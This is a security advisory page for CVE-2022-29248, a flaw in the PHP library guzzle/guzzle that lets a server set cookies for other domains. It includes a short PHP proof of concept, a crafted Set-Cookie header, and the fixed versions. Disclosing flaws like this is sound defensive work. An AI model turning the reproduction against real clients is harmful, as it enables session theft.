Disclosed vulnerabilities
CVE-2022-29248 Published: Sep 12, 2022

Set cookie for different domain in guzzle/guzzle

8.1 High Severity cookie middleware packagist php
@myyxl Reported by Checkmarx Zero

Summary

Set cookie for different domain in guzzle/guzzle.

Product

guzzle/guzzle prior to version 6.5.6 and 7.x prior to 7.4.3.

Impact

The vulnerability is capable of stealing sessions if the right conditions are met.

Steps to reproduce

require "vendor/autoload.php";
$client = new GuzzleHttpClient(["cookies" => true]);
$client->request("GET", "https://<id>.free.beeceptor.com/setcookie");
$cookies = $client->getConfig('cookies')->toArray();
print_r($cookies);
?>

You can use beeceptor to mock the endpoint, just add the following header to the response: “Set-Cookie”: “poc=1; Domain=huntr.dev”
Also works with .com as domain, this would send the cookie to all .com domains.

Remediation

Update guzzle/guzzle to version 6.5.6 or 7.4.3.

Credit

This issue was reported by @myyxl through huntr.dev.

Resources

  1. 74a8602
  2. Disclosure
  3. Advisory

Stay connected and never miss a research update!